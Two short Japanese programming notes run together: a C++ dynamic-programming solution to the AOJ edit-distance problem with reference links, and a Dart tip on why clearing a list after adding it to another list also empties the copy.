AOJの問題，[編集距離](https://onlinejudge.u-aizu.ac.jp/courses/library/7/DPL/1/DPL_1_E)で今回の動的計画法を実装しました．

```c++
#include<bits/stdc++.h>
using namespace std;
using ll = long long;

void chmin(ll &a, const ll &b){
    if (a>b) a = b;
}

int main() {
    string s, t;
    cin >> s >> t;
    ll slen = s.size(), tlen = t.size();
    ll INF = 101010;
    vector<vector<ll>> dp(slen+1, vector<ll>(tlen+1, INF));
    for(ll i=0; i<=slen; i++) dp[i][0] = i;
    for(ll j=0; j<=tlen; j++) dp[0][j] = j;
    for(ll i=1; i<=slen; i++){
        for(ll j=1; j<=tlen; j++){
            chmin(dp[i][j], dp[i-1][j]+1);            
            chmin(dp[i][j], dp[i][j-1]+1);            
            if(s[i-1] == t[j-1]) chmin(dp[i][j], dp[i-1][j-1]);
            else chmin(dp[i][j], dp[i-1][j-1]+1);
        }
    }
    cout << dp[slen][tlen] << endl;
    return 0;
}
```
## 参考
[DP（動的計画法）でレーベンシュタイン距離（編集距離）問題を解くまでの過程メモ](https://o-treetree.hatenablog.com/entry/DPL1E)

[編集距離（レーベンシュタイン距離）の求め方](https://mathwords.net/hensyukyori)

[Tree Edit Distance (and Levenshtein Distance)](https://www.youtube.com/watch?v=6Ur8B35xCj8)
【Dart】ListをListにaddしたあとclearするとadd先のリストも消える

以下の例では、最終的にlist2に追加したlist1が消えてしまうようです。


```Dart:sample.dart

    List data1 = [なんらかのリスト];
    List<クラス１> list1 = [];
    List<クラス２> list2 = []; //クラス１を引数とするコンストラクタを持つ

    for (var i = 0; i < data1.length; i++) {
      list1.clear(); //ループごとに初期化

      if(data1[i]==なんらかの条件) {
          list1.add(データ);
      }
      list2.add(クラス２(list1));
    }

```



　
　
　

これを防ぐには、リストの初期化部分で
.clearメソッドではなく**[]で空白リスト**を代入するようにします。

```Dart:sample.dart

    List data1 = [なんらかのリスト];
    List<クラス１> list1 = [];
    List<クラス２> list2 = []; //クラス１を引数とするコンストラクタを持つ

    for (var i = 0; i < data1.length; i++) {
      list1 = []; //ループごとに初期化

      if(data1[i]==なんらかの条件) {
          list1.add(データ);
      }
      list2.add(クラス２(list1));
    }


```